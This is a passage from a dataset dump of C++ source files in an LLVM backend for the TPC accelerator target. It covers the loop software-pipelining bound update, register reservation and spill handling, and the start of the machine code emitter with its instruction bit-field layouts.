\"ExitPhi = \" << *It->second)\n // This will be useful while establishing similarity b/w a Exit Phi\n // and it's update inst (by refering to HeaderPhi type)\n\n // if this Phi is of AddMask type, get the N'th (N = PrefetchCount) update\n // add_mask instruction and clone it\n if (!TPCOptUtils::isPhiOfType(PhiNode, HeaderBlock,\n Intrinsic::tpc_add_mask)) {\n LOOP_SWP_DEBUG(DebugTag << \"\\tnot an add.mask phi, continuing ...\")\n continue;\n }\n\n unsigned TrailingPos = 0;\n auto SeqIt = InstSeqMap.find(HeaderPhi);\n assert(SeqIt != InstSeqMap.end() &&\n \"AddMask Phi not found in any InstSeq!\");\n if (SeqIt->second->isLoadPivot()) {\n TrailingPos = N - X;\n if (!TrailingPos)\n continue;\n } else {\n TrailingPos = N;\n }\n\n Instruction *NthUpdate =\n getNthUpdate(HeaderPhi, TrailingPos, BlockType::Header);\n assert(NthUpdate && \"Trailing add_mask instruction not found!\");\n createExitCloneBase(NthUpdate, InstCloneMap[BlockType::Exit], true,\n DebugTag);\n }\n\n LOOP_SWP_DEBUG(DebugTag << \"Collecting phi updates for Exit block\")\n if (!collectAlphaUpdates(BlockType::Exit)) {\n LOOP_SWP_DEBUG(DebugTag << \"Phi update collection failed, exiting ...\")\n assert(false && \"Phi update collection failed ...\");\n }\n\n // replace all uses of the coord phis with their last update\n // instruction (this must be done before cloning for ExitBlock loads)\n updateLcssaPhiUsers(LcssaPhis, DebugTag);\n\n return;\n}\n\nvoid LoopSWP::updateLoopBounds() {\n std::string DebugTag = \"<updateLoopBounds> \";\n\n BBPhiInsertIt = PreheaderBlock->begin();\n BBInsertIt = PreheaderBlock->end();\n BBInsertIt--;\n\n // TODO: use llvm methods to get induction var\n\n // find the branching instruction\n Instruction *InductionPhi = nullptr;\n Value *InductionSize = nullptr;\n // get the branch instruction\n BranchInst *BI = nullptr;\n auto It = HeaderBlock->end();\n while (It != HeaderBlock->begin()) {\n It--;\n Instruction *I = &(*It);\n if (isa<BranchInst>(I)) {\n BI = cast<BranchInst>(I);\n break;\n }\n }\n\n // NOTE: assumes that the CondLHS is a result of single statement\n Instruction *Condition = cast<Instruction>(BI->getCondition());\n Instruction *CondLHS = cast<Instruction>(Condition->getOperand(0));\n InductionPhi = cast<Instruction>(CondLHS->getOperand(0));\n InductionSize = CondLHS->getOperand(1);\n\n assert(isa<Constant>(InductionSize));\n assert(InductionPhi && \"Could not find the Induction variable\");\n LOOP_SWP_DEBUG(DebugTag << \"InductionPhi = \" << *InductionPhi)\n LOOP_SWP_DEBUG(DebugTag << \"InductionSize = \" << *InductionSize)\n\n // increment on PreheaderIncome\n PHINode *InductionPhiNode = cast<PHINode>(InductionPhi);\n Instruction *NewInductionUpdate;\n auto CloneIt = InstCloneMap[BlockType::Preheader].find(CondLHS);\n // not cloned yet\n if (CloneIt == InstCloneMap[BlockType::Preheader].end()) {\n // get the incoming value for InductionPhi from Preheader block\n Value *IncomeVal =\n InductionPhiNode->getIncomingValueForBlock(PreheaderBlock);\n Value *NewIncomeVal = IncomeVal;\n\n if (auto *I = dyn_cast<Instruction>(IncomeVal)) {\n BasicBlock *InValParent = InValParent = I->getParent();\n if (InValParent != PreheaderBlock) {\n PHINode *NewInductionPhiNode =\n PHINode::Create(InductionPhi->getType(), 1);\n // TODO: assuming unnecessary PHI nodes will be eliminated later\n // for each predecessor of PreheaderBlock, add the same incoming value\n for (BasicBlock *Pred : predecessors(PreheaderBlock))\n NewInductionPhiNode->addIncoming(IncomeVal, Pred);\n NewIncomeVal = cast<Value>(NewInductionPhiNode);\n auto PreInsertIt = PreheaderBlock->begin();\n PreheaderBlock->getInstList().insert(PreInsertIt,\n cast<Instruction>(NewIncomeVal));\n }\n }\n NewInductionUpdate = CondLHS->clone();\n NewInductionUpdate->setOperand(0, NewIncomeVal);\n // insert into preheader block\n insertIntoBlock(BlockType::Preheader, NewInductionUpdate, DebugTag);\n } else {\n NewInductionUpdate = CloneIt->second;\n }\n\n // add branching condition clone\n Instruction *ConditionClone = Condition->clone();\n ConditionClone->setOperand(0, NewInductionUpdate);\n insertIntoBlock(BlockType::Preheader, ConditionClone, DebugTag);\n\n // add branching inst clone\n Instruction *NewPreBI =\n BranchInst::Create(ExitBlock, HeaderBlock, ConditionClone);\n insertIntoBlock(BlockType::Preheader, NewPreBI, DebugTag);\n\n auto BIt = PreheaderBlock->end();\n BIt--;\n BranchInst *StalePreBI = cast<BranchInst>(&(*BIt));\n LOOP_SWP_DEBUG(\n DebugTag << \"Erasing the previous Preheader branch instruction :\")\n LOOP_SWP_DEBUG(DebugTag << *StalePreBI)\n StalePreBI->eraseFromParent();\n\n // update the InductionPhi\n // (false: dont delete if empty)\n InductionPhiNode->removeIncomingValue(PreheaderBlock, false);\n InductionPhiNode->addIncoming(cast<Value>(NewInductionUpdate),\n PreheaderBlock);\n\n return;\n}\n\n#undef DEBUG_TYPE\n" }, { "alpha_fraction": 0.6298600435256958, "alphanum_fraction": 0.6298600435256958, "avg_line_length": 28.227272033691406, "blob_id": "9606075fcd2bf27a4c50dd715a6e4da2725685c4", "content_id": "efe0ed427c5b89941ce2192d79fd4bd78ff7eaec", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 643, "license_type": "permissive", "max_line_length": 80, "num_lines": 22, "path": "/llvm/lib/Target/TPC/TPCTargetObjectFile.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- llvm/Target/TPCTargetObjectFile.h - TPC Object Info ---*- C++ -*-===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_TPC_TPCTARGETOBJECTFILE_H\n#define LLVM_LIB_TARGET_TPC_TPCTARGETOBJECTFILE_H\n\n#include \"llvm/CodeGen/TargetLoweringObjectFileImpl.h\"\n\nnamespace llvm {\nclass TPCTargetMachine;\n class TPCTargetObjectFile : public TargetLoweringObjectFileELF {\n\n };\n} // end namespace llvm\n\n#endif\n" }, { "alpha_fraction": 0.6256012916564941, "alphanum_fraction": 0.6313504576683044, "avg_line_length": 29.992727279663086, "blob_id": "b3181e1469939986bf7ac1a367910ac4523ad8b7", "content_id": "ee8200ac1909460faf11a85b6f6b69a9e62984c0", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 8523, "license_type": "permissive", "max_line_length": 85, "num_lines": 275, "path": "/llvm/lib/Target/TPC/TPCRegisterInfo.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCRegisterInfo.cpp - TPC Register Information ----------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file contains the TPC implementation of the TargetRegisterInfo class.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCRegisterInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"llvm/ADT/BitVector.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/ADT/STLExtras.h\"\n#include \"llvm/CodeGen/MachineFrameInfo.h\"\n#include \"llvm/CodeGen/MachineFunction.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/IR/Type.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/CodeGen/TargetInstrInfo.h\"\n#include \"llvm/CodeGen/MachineModuleInfo.h\"\n\nusing namespace llvm;\n\n#define GET_REGINFO_TARGET_DESC\n#include \"TPCGenRegisterInfo.inc\"\n\n\nTPCRegisterInfo::TPCRegisterInfo() : TPCGenRegisterInfo(TPC::S0) {}\n\nconst MCPhysReg*\nTPCRegisterInfo::getCalleeSavedRegs(const MachineFunction *MF) const {\n return CSR_AllRegs_SaveList;\n}\n\nconst uint32_t *\nTPCRegisterInfo::getCallPreservedMask(const MachineFunction &MF,\n CallingConv::ID CC) const {\n return CSR_AllRegs_RegMask;\n}\n\nconst uint32_t*\nTPCRegisterInfo::getRTCallPreservedMask(CallingConv::ID CC) const {\n return CSR_AllRegs_RegMask;\n}\n\nBitVector TPCRegisterInfo::getReservedRegs(const MachineFunction &MF) const {\n BitVector Reserved(getNumRegs());\n\n markSuperRegs(Reserved, TPC::LFSR);\n markSuperRegs(Reserved, TPC::LFSR_NO_CHANGE);\n markSuperRegs(Reserved, TPC::V_LANE_ID_32);\n markSuperRegs(Reserved, TPC::V_LANE_ID_16);\n markSuperRegs(Reserved, TPC::V_LANE_ID_8);\n\n Reserved.set(TPC::SP0);\n Reserved.set(TPC::VP0);\n\n if (MF.getSubtarget<TPCSubtarget>().hasGoyaISA()) {\n Reserved.set(TPC::S31);\n }\n\n Reserved.set(TPC::S32);\n Reserved.set(TPC::S33);\n Reserved.set(TPC::S34);\n Reserved.set(TPC::S35);\n\n markSuperRegs(Reserved, TPC::S_LFSR);\n markSuperRegs(Reserved, TPC::S_LFSR_NO_CHANGE);\n\n Reserved.set(TPC::I0);\n Reserved.set(TPC::I1);\n \n const Module *MM = MF.getMMI().getModule();\n Metadata *PrintfModule = MM->getModuleFlag(\"tpc-printf\");\n if (PrintfModule) {\n Reserved.set(TPC::I2);\n MachineInstrBuilder MIB;\n const TargetInstrInfo *TII = MF.getSubtarget().getInstrInfo();\n auto MBB = MF.getBlockNumbered(0);\n auto firstInst = MF.getBlockNumbered(0)->instr_begin();\n auto FI = &*firstInst;\n MIB = BuildMI(*MBB, firstInst, FI->getDebugLoc(), TII->get(TPC::SET_INDX_spu_ip),\n TPC::I2)\n .addReg(TPC::I2, RegState::Undef)\n .addImm(0)\n .addImm(31)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n \n }\n return Reserved;\n}\n\nconst TargetRegisterClass*\nTPCRegisterInfo::getPointerRegClass(const MachineFunction &MF,\n unsigned Kind) const {\n return &TPC::SRFRegClass;\n}\n\nvoid TPCRegisterInfo::eliminateFrameIndex(MachineBasicBlock::iterator II,\n int SPAdj, unsigned FIOperandNum,\n RegScavenger *RS) const {\n MachineInstr &MI = *II;\n const TargetRegisterClass *RC = nullptr;\n bool IsSpill = false;\n bool IsFill = false;\n\n switch (MI.getOpcode()) {\n case TPC::SPILL_ARF_RESTORE:\n RC = &TPC::ARFRegClass;\n IsFill = true;\n break;\n case TPC::SPILL_DRF_RESTORE:\n RC = &TPC::DRFRegClass;\n IsFill = true;\n break;\n case TPC::SPILL_ZRF_RESTORE:\n RC = &TPC::ZRFRegClass;\n IsFill = true;\n break;\n case TPC::SPILL_VRF_RESTORE:\n RC = &TPC::VRFRegClass;\n IsFill = true;\n break;\n case TPC::SPILL_VPRF_RESTORE:\n RC = &TPC::VPRFRegClass;\n IsFill = true;\n break;\n case TPC::SPILL_IRF_RESTORE:\n RC = &TPC::IRFRegClass;\n IsFill = true;\n break;\n case TPC::SPILL_SRF_RESTORE:\n RC = &TPC::SRFRegClass;\n IsFill = true;\n break;\n case TPC::SPILL_SPRF_RESTORE:\n RC = &TPC::SPRFRegClass;\n IsFill = true;\n break;\n case TPC::SPILL_ARF_SAVE:\n RC = &TPC::ARFRegClass;\n IsSpill = true;\n break;\n case TPC::SPILL_DRF_SAVE:\n RC = &TPC::DRFRegClass;\n IsSpill = true;\n break;\n case TPC::SPILL_ZRF_SAVE:\n RC = &TPC::ZRFRegClass;\n IsSpill = true;\n break;\n case TPC::SPILL_VRF_SAVE:\n RC = &TPC::VRFRegClass;\n IsSpill = true;\n break;\n case TPC::SPILL_VPRF_SAVE:\n RC = &TPC::VPRFRegClass;\n IsSpill = true;\n break;\n case TPC::SPILL_IRF_SAVE:\n RC = &TPC::IRFRegClass;\n IsSpill = true;\n break;\n case TPC::SPILL_SRF_SAVE:\n RC = &TPC::SRFRegClass;\n IsSpill = true;\n break;\n case TPC::SPILL_SPRF_SAVE:\n RC = &TPC::SPRFRegClass;\n IsSpill = true;\n break;\n\n default:\n llvm_unreachable(\"Unexpected frame index\");\n }\n\n if (IsSpill || IsFill) {\n MachineBasicBlock &MBB = *MI.getParent();\n MachineFunction &MF = *MBB.getParent();\n MachineFrameInfo &MFI = MF.getFrameInfo();\n TPCFrameLowering &FL = *const_cast<TPCFrameLowering *>(\n MF.getSubtarget<TPCSubtarget>().getFrameLowering());\n int FI = MI.getOperand(FIOperandNum).getIndex();\n unsigned Offset;\n Offset = FL.getSpillObject(FI, RC, MF, MFI.getObjectSize(FI));\n MI.getOperand(FIOperandNum).ChangeToImmediate(Offset);\n }\n}\n\nRegister TPCRegisterInfo::getFrameRegister(const MachineFunction &MF) const {\n return Register();\n}\n\n// TPC has no architectural need for stack realignment support,\n// except that LLVM unfortunately currently implements overaligned\n// stack objects by depending upon stack realignment support.\n// If that ever changes, this can probably be deleted.\nbool TPCRegisterInfo::canRealignStack(const MachineFunction &MF) const {\n return false;\n}\n\nbool TPCRegisterInfo::getRegAllocationHints(unsigned VirtReg,\n ArrayRef<MCPhysReg> Order,\n SmallVectorImpl<MCPhysReg> &Hints,\n const MachineFunction &MF,\n const VirtRegMap *VRM,\n const LiveRegMatrix *Matrix) const {\n const MachineRegisterInfo *MRI = &MF.getRegInfo();\n const TargetRegisterInfo *TRI = MF.getSubtarget().getRegisterInfo();\n\n // Hint all physregs that are connected with VirtReg via COPYs.\n const TargetRegisterClass *RC = MRI->getRegClass(VirtReg);\n SmallSet<unsigned, 4> ConnectedPhysRegs;\n for (auto &Use : MRI->use_instructions(VirtReg)) {\n if (Use.isCopy()) {\n Register PhysReg;\n MachineOperand &DstMO = Use.getOperand(0);\n MachineOperand &SrcMO = Use.getOperand(1);\n MachineOperand *VirtRegMO = nullptr;\n // Get the connected physreg, if any.\n if (DstMO.getReg().isPhysical()) {\n PhysReg = DstMO.getReg();\n if (DstMO.getSubReg())\n PhysReg = TRI->getSubReg(PhysReg, DstMO.getSubReg());\n VirtRegMO = &SrcMO;\n } else if (SrcMO.getReg().isPhysical()) {\n PhysReg = SrcMO.getReg();\n if (SrcMO.getSubReg())\n PhysReg = TRI->getSubReg(PhysReg, SrcMO.getSubReg());\n VirtRegMO = &DstMO;\n }\n if (!PhysReg)\n continue;\n\n if (RC->contains(PhysReg)) {\n ConnectedPhysRegs.insert(PhysReg);\n continue;\n }\n\n // Check if the subreg index match so that a super register of PhysReg\n // could be hinted.\n if (VirtRegMO->getSubReg() != TPC::NoSubRegister) {\n if (unsigned SuperReg =\n TRI->getMatchingSuperReg(PhysReg, VirtRegMO->getSubReg(), RC))\n ConnectedPhysRegs.insert(SuperReg);\n }\n }\n }\n\n if (!ConnectedPhysRegs.empty()) {\n // Add the connected physregs sorted by the allocation order.\n for (MCPhysReg Reg : Order)\n if (ConnectedPhysRegs.count(Reg) && !MRI->isReserved(Reg))\n Hints.push_back(Reg);\n }\n\n return TargetRegisterInfo::getRegAllocationHints(VirtReg, Order, Hints, MF, VRM);\n}\n\nbool TPCRegisterInfo::isConstantPhysReg(unsigned PhysReg) const {\n return PhysReg == TPC::SP0\n || PhysReg == TPC::VP0\n || PhysReg == TPC::V_LANE_ID_32\n || PhysReg == TPC::V_LANE_ID_16\n || PhysReg == TPC::V_LANE_ID_8;\n}\n" }, { "alpha_fraction": 0.5742378830909729, "alphanum_fraction": 0.6043204665184021, "avg_line_length": 35.28382110595703, "blob_id": "0c8412c3fa8f5eb37d841808bb2dad31ce9ba620", "content_id": "1c4d426d2fe81d1ec2faa662990428fa5c7fe78c", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 27358, "license_type": "permissive", "max_line_length": 154, "num_lines": 754, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCMCCodeEmitter.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCMCCodeEmitter.cpp - Convert TPC Code to Machine Code ---------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n// This file implements the TPCMCCodeEmitter class.\n//\n//===----------------------------------------------------------------------===//\n//\n\n#include <math.h>\n\n#include \"TPCRegisterInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCAsmBackend.h\"\n#include \"TPCMCCodeEmitter.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"llvm/ADT/APFloat.h\"\n#include \"llvm/ADT/SmallVector.h\"\n#include \"llvm/ADT/APInt.h\"\n#include \"llvm/MC/MCContext.h\"\n#include \"llvm/MC/MCExpr.h\"\n#include \"llvm/MC/MCFixup.h\"\n#include \"llvm/MC/MCInst.h\"\n#include \"llvm/MC/MCInstrInfo.h\"\n#include \"llvm/MC/MCRegisterInfo.h\"\n#include \"llvm/MC/MCSubtargetInfo.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"llvm/Support/raw_ostream.h\"\n\n\n#define DEBUG_TYPE \"mccodeemitter\"\n\n//#define GET_INSTRMAP_INFO\n#include \"TPCGenInstrInfo.inc\"\n#include \"TPCInstrComposer.h\"\n\n//#undef GET_INSTRMAP_INFO\n\nstatic cl::opt<bool> TPCCompressNops(\"tpc-compress-nops\", cl::Hidden,\n cl::ZeroOrMore, cl::init(true),\n cl::desc(\"Enable compression of NOP instructions\"));\n\nstatic cl::opt<bool> TPCAssertOnImmConflict(\"tpc-imm-conflict-assert\", cl::Hidden,\n cl::ZeroOrMore, cl::init(false),\n cl::desc(\"assert on imm conflict\"));\n\n//// Load/Store/Imm (75 bits + 1 reserved)\n// [159] [127-158] [123-126] [122] [117-121] [110-116] [103-109] [98-102] [91-97] [84-90]\n// rsrv imm ldst_pr pp st_opc st_srcB st_srcA ld_opc ld_dst ld_srcA\n//\n//// VPU (51 bit)\n// [80-83] [79] [76-78] [74-75] [67-73] [60-66] [53-59] [46-52] [39-45] [33-38]\n// pr pp type sw dst ldsrcD stsrcC srcB srcA opc\n//\n//// SPU (33 bits)\n// [31-32] [28-30] [27] [24-26] [18-23] [12-17] [6-11] [0-5]\n// sw pr pp type dst srcB srcA opc\n\n\n/****\n\n// VPU \t Gen1 Gen2 Gen3\n\n{\"VPU_Opcode\", {{ 0, 5}, { 0, 5}, { 0, 5}}},\n{\"VPU_SrcA\", {{ 6, 13}, { 6, 13}, { 6, 13}}},\n{\"VPU_SrcB\", {{14, 21}, {14, 21}, {14, 21}}},\n{\"VPU_Dest\", {{39, 46}, {39, 46}, {22, 29}}},\n{\"VPU_OpType\", {{50, 53}, {50, 53}, {30, 33}}},\n{\"VPU_Polarity\", {{54, 54}, {54, 54}, {34, 34}}},\n{\"VPU_Pred\", {{55, 59}, {55, 59}, {35, 39}}},\n{\"VPU_Switches\", {{47, 49}, {40, 43}, {40, 43}}},\n{\"VPU_SrcC\", {{22, 29}, {22, 29}, {44, 51}}},\n{\"VPU_SrcD\", {{30, 38}, {30, 38}, {52, 60}}},\n\n// SPU \t Gen1 Gen2 Gen3\n\n{\"SPU_Opcode\", {{ 0, 5}, { 0, 5}, { 0, 5}}},\n{\"SPU_SrcA\", {{ 6, 12}, { 6, 12}, { 6, 12}}},\n{\"SPU_SrcB\", {{13, 19}, {13, 19}, {13, 19}}},\n{\"SPU_Dest\", {{20, 26}, {20, 26}, {20, 26}}},\n{\"SPU_OpType\", {{27, 30}, {27, 30}, {27, 30}}},\n{\"SPU_Polarity\", {{31, 31}, {31, 31}, {31, 31}}},\n{\"SPU_Pred\", {{32, 35}, {32, 35}, {32, 35}}},\n{\"SPU_Switches\", {{36, 42}, {36, 42}, {36, 42}}},\n\n// LOAD \t Gen1 Gen2 Gen3\n\n{\"LD_SrcA\", {{ 0, 7}, { 0, 7}, { 0, 7}}},\n{\"LD_Dest\", {{ 8, 15}, { 8, 15}, { 8, 15}}},\n{\"LD_Opcode\", {{16, 20}, {16, 20}, {16, 20}}},\n{\"LD_SrcBD\", {{48, 56}, {48, 56}, {21, 29}}},\n{\"LDST_Polarity\", {{42, 42}, {42, 42}, {30, 30}}},\n{\"LDST_Pred\", {{43, 47}, {43, 47}, {31, 35}}},\n{\"LD_Switches\", {{57, 62}, {57, 62}, {36, 41}}},\n\n// STORE \t Gen1 Gen2 Gen3\n\n{\"ST_SrcA\", {{ 0, 7}, { 0, 7}, { 0, 7}}},\n{\"ST_SrcB\", {{ 8, 15}, { 8, 15}, { 8, 15}}},\n{\"ST_Opcode\", {{16, 20}, {16, 20}, {16, 20}}},\n{\"ST_SrcC\", {{27, 34}, {27, 34}, {21, 28}}},\n{\"ST_Switches\", {{35, 40}, {35, 40}, {29, 34}}},\n\n****/\n\nnamespace llvm {\nMCCodeEmitter *createTPCMCCodeEmitter(const MCInstrInfo &MCII,\n const MCRegisterInfo &MRI,\n MCContext &Ctx) {\n return new TPCMCCodeEmitter(MCII, Ctx);\n}\n\nvoid TPCMCCodeEmitter::EmitByte(unsigned char C, llvm::raw_ostream& OS) const {\n OS << (char)C;\n}\n\nstatic unsigned curPos = 0;\n\nvoid TPCMCCodeEmitter::EmitInstruction(APInt &Instruction, unsigned Size, raw_ostream& OS) const {\n for (unsigned Start = 0; Start < Size; ) {\n unsigned RemainedBits = Size - Start;\n if (RemainedBits >= 64) {\n APInt Chunk = Instruction.lshr(Start).trunc(64);\n EmitConstant(Chunk.getZExtValue(), 8, OS);\n Start += 64;\n } else {\n unsigned ChunkSize = RemainedBits / 8;\n assert(ChunkSize * 8 == RemainedBits);\n APInt Chunk = Instruction.lshr(Start).trunc(RemainedBits);\n EmitConstant(Chunk.getZExtValue(), ChunkSize, OS);\n break;\n }\n }\n curPos += (Size/8);\n}\n\n#ifndef NDEBUG\n\n// Helper dump functions for debug purpose //\n\nstatic void dumpInstrNames(const MCInst& MI, const MCInstrInfo &MCII) {\n fprintf(stderr, \"At offset %d bytes:\\n\", curPos);\n if (MI.getOpcode() == TPC::BUNDLE) {\n for (auto &I : TPCMCInstrInfo::bundleInstructions(MI)) {\n MCInst &Bundle_MI = const_cast<MCInst &>(*I.getInst());\n fprintf(stderr, \"--- (%*s)\\n\", (int)TPCMCInstrInfo::getName(MCII, Bundle_MI).size(), TPCMCInstrInfo::getName(MCII, Bundle_MI).begin());\n }\n }\n else {\n fprintf(stderr, \"--- (%*s)\\n\", (int)TPCMCInstrInfo::getName(MCII, MI).size(), TPCMCInstrInfo::getName(MCII, MI).begin());\n }\n}\n\n\nstatic void dumpTPCBundleGen2(const APInt &Instr) {\n\n#define MASK(Len) ((1<<Len)-1)\n\n uint64_t spu_slot = Instr.lshr(TPCII::SPUStart).zextOrTrunc(TPCII::SPUSize).getZExtValue();\n uint64_t spu_opc = spu_slot & MASK(6);\n uint64_t spu_srcA = (spu_slot >> 6) & MASK(7);\n uint64_t spu_srcB = (spu_slot >> 13) & MASK(7);\n uint64_t spu_dst = (spu_slot >> 20) & MASK(7);\n uint64_t spu_op_tp = (spu_slot >> 27) & MASK(4);\n uint64_t spu_pp = (spu_slot >> 31) & 0x01;\n uint64_t spu_pr = (spu_slot >> 32) & MASK(4);\n uint64_t spu_sw = (spu_slot >> 36) & MASK(7);\n\n uint64_t vpu_slot = Instr.lshr(TPCII::VPUStart).zextOrTrunc(TPCII::VPUSize).getZExtValue();\n#define SHIFT(Start) (Start - TPCII::VPUStart)\n uint64_t vpu_opc = (vpu_slot >> SHIFT(43)) & MASK(6);\n uint64_t vpu_srcA = (vpu_slot >> SHIFT(49)) & MASK(8);\n uint64_t vpu_srcB = (vpu_slot >> SHIFT(57)) & MASK(8);\n uint64_t vpu_srcC = (vpu_slot >> SHIFT(65)) & MASK(8);\n uint64_t vpu_srcD = (vpu_slot >> SHIFT(73)) & MASK(9);\n uint64_t vpu_dest = (vpu_slot >> SHIFT(82)) & MASK(8);\n uint64_t vpu_sw = (vpu_slot >> SHIFT(90)) & MASK(2);\n uint64_t vpu_op_tp = (vpu_slot >> SHIFT(93)) & MASK(4);\n uint64_t vpu_pp = (vpu_slot >> SHIFT(97)) & MASK(1);\n uint64_t vpu_pr = (vpu_slot >> SHIFT(98)) & MASK(5);\n#undef SHIFT\n\n uint64_t ld_slot = Instr.lshr(TPCII::LDStart).zextOrTrunc(TPCII::LDSize).getZExtValue();\n#define SHIFT(Start) (Start - TPCII::LDStart)\n uint64_t ld_srcA = (ld_slot >> SHIFT(103)) & MASK(8);\n uint64_t ld_dst = (ld_slot >> SHIFT(111)) & MASK(8);\n uint64_t ld_opc = (ld_slot >> SHIFT(119)) & MASK(5);\n#undef SHIFT\n\n uint64_t st_slot = Instr.lshr(TPCII::STStart).zextOrTrunc(TPCII::STSize).getZExtValue();\n#define SHIFT(Start) (Start - TPCII::STStart)\n uint64_t st_srcA = (st_slot >> SHIFT(124)) & MASK(8);\n uint64_t st_srcB = (st_slot >> SHIFT(132)) & MASK(8);\n uint64_t st_opc = (st_slot >> SHIFT(140)) & MASK(5);\n#undef SHIFT\n\n uint64_t ldst_pp = Instr[TPCII::LDSTPolarity];\n uint64_t ldst_pr = Instr.lshr(TPCII::LDSTPredicateStart).zextOrTrunc(TPCII::LDSTPredicateSize).getZExtValue();\n uint64_t imm = Instr.lshr(TPCII::ImmStart).zextOrTrunc(TPCII::ImmSize).getZExtValue();\n\n fprintf(stderr, \"spu_opc = %\" PRIu64 \"\\n\", spu_opc);\n fprintf(stderr, \"spu_srcA = %\" PRIu64 \"\\n\", spu_srcA);\n fprintf(stderr, \"spu_srcB = %\" PRIu64 \"\\n\", spu_srcB);\n fprintf(stderr, \"spu_dst = %\" PRIu64 \"\\n\", spu_dst);\n fprintf(stderr, \"spu_op_tp = %\" PRIu64 \"\\n\", spu_op_tp);\n fprintf(stderr, \"spu_pp = %\" PRIu64 \"\\n\", spu_pp);\n fprintf(stderr, \"spu_pr = %\" PRIu64 \"\\n\", spu_pr);\n fprintf(stderr, \"spu_sw = %\" PRIu64 \"\\n\", spu_sw);\n fprintf(stderr, \"vpu_opc = %\" PRIu64 \"\\n\", vpu_opc);\n fprintf(stderr, \"vpu_srcA = %\" PRIu64 \"\\n\", vpu_srcA);\n fprintf(stderr, \"vpu_srcB = %\" PRIu64 \"\\n\", vpu_srcB);\n fprintf(stderr, \"vpu_stsrcC= %\" PRIu64 \"\\n\", vpu_srcC);\n fprintf(stderr, \"vpu_ldsrcD= %\" PRIu64 \"\\n\", vpu_srcD);\n fprintf(stderr, \"vpu_dst = %\" PRIu64 \"\\n\", vpu_dest);\n fprintf(stderr, \"vpu_op_tp = %\" PRIu64 \"\\n\", vpu_op_tp);\n fprintf(stderr, \"vpu_pp = %\" PRIu64 \"\\n\", vpu_pp);\n fprintf(stderr, \"vpu_pr = %\" PRIu64 \"\\n\", vpu_pr);\n fprintf(stderr, \"vpu_sw = %\" PRIu64 \"\\n\", vpu_sw);\n fprintf(stderr, \"ld_srcA = %\" PRIu64 \"\\n\", ld_srcA);\n fprintf(stderr, \"ld_dst = %\" PRIu64 \"\\n\", ld_dst);\n fprintf(stderr, \"ld_opc = %\" PRIu64 \"\\n\", ld_opc);\n fprintf(stderr, \"st_srcA = %\" PRIu64 \"\\n\", st_srcA);\n fprintf(stderr, \"st_srcB = %\" PRIu64 \"\\n\", st_srcB);\n fprintf(stderr, \"st_opc = %\" PRIu64 \"\\n\", st_opc);\n fprintf(stderr, \"ldst_pp = %\" PRIu64 \"\\n\", ldst_pp);\n fprintf(stderr, \"ldst_pr = %\" PRIu64 \"\\n\", ldst_pr);\n fprintf(stderr, \"imm = %\" PRIu64 \"\\n\", imm);\n}\n\nstatic void dumpTPCBundle(const APInt &Instr, const FeatureBitset &Features) {\n if (Features[TPC::FeatureGoya]) {\n dumpTPCBundleGen2(Instr);\n }\n else if (Features[TPC::FeatureGaudi]) {\n dumpTPCBundleGen2(Instr);\n }\n}\n#endif\n\n\n// Helper function which emits Noop instructions.\n//\n#if defined(TPC_NOPS_AFTER_ALL) || defined(TPC_DISABLE_ALL_SCHED)\nstatic void insertNoops(int NopCnt, const TPCMCCodeEmitter* CE, raw_ostream& OS) {\n if (NopCnt == 0) return;\n APInt DummyInstruction(TPCII::InstructionSize, 0);\n APInt DSPUSlot(TPCII::SPUSize, TPCII::spuNOP);\n APInt DVPUSlot(TPCII::VPUSize, TPCII::vpuNOP);\n APInt DLDSlot(TPCII::LDSize, TPCII::ldNOP << 16);\n APInt DSTSlot(TPCII::STSize, TPCII::stNOP << 16);\n APInt DImmValue(TPCII::ImmSize, 0);\n\n DummyInstruction |= DSPUSlot.zext(TPCII::InstructionSize).shl(TPCII::SPUStart);\n DummyInstruction |= DVPUSlot.zext(TPCII::InstructionSize).shl(TPCII::VPUStart);\n DummyInstruction |= DLDSlot.zext(TPCII::InstructionSize).shl(TPCII::LDStart);\n DummyInstruction |= DSTSlot.zext(TPCII::InstructionSize).shl(TPCII::STStart);\n DummyInstruction |= DImmValue.zext(TPCII::InstructionSize).shl(TPCII::ImmStart);\n\n for (int i = 0; i < NopCnt; ++i) {\n EmitInstruction(DummyInstruction, TPCII::InstructionSize, OS);\n }\n}\n#endif\n\n//\n// getInstrBits(const MCInst& MI, const MCSubtargetInfo& STI)\n//\n// Returns binary code for instruction MI. \n// MI must be a single instruction, not a bundle.\n// Converts Gen2 bits to Gen3.\n//\nuint64_t TPCMCCodeEmitter::getInstrBits(const 